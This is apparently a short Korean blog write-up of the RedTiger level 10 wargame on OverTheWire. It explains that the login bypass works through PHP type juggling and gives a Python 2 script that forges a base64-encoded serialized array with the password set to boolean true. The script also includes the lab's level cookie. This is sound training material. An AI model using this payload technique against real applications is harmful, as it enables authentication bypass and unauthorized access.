728x90
username 에다 SQL Injection 하는 문제인 줄 알았는데.. 아니었다.
서버 측에서 데이터 타입을 검사하지 않는다.
그래서 password를 boolean으로 강제 형변환 하고 1(true)을 주면,
unserialize할 때, password가 그냥 참이라서 풀려버린다.
import urllib2
import base64
from urllib import urlencode
headers = {"Cookie":"level10login=get_post_cookie_head__kittens_eating_all_my_bread"}
def pwn(username):
serial = 'a:2:{s:8:"username";s:%s:"%s";s:8:"password";b:1;}' % ( len(username), username )
params = {
"login":base64.b64encode(serial),
"dologin":"Login"
}
url = "http://redtiger.labs.overthewire.org/level10.php"
req = urllib2.Request(url, urlencode(params), headers=headers)
res = urllib2.urlopen(req).read()
return res
if __name__=="__main__":
print pwn("TheMaster")
728x90
댓글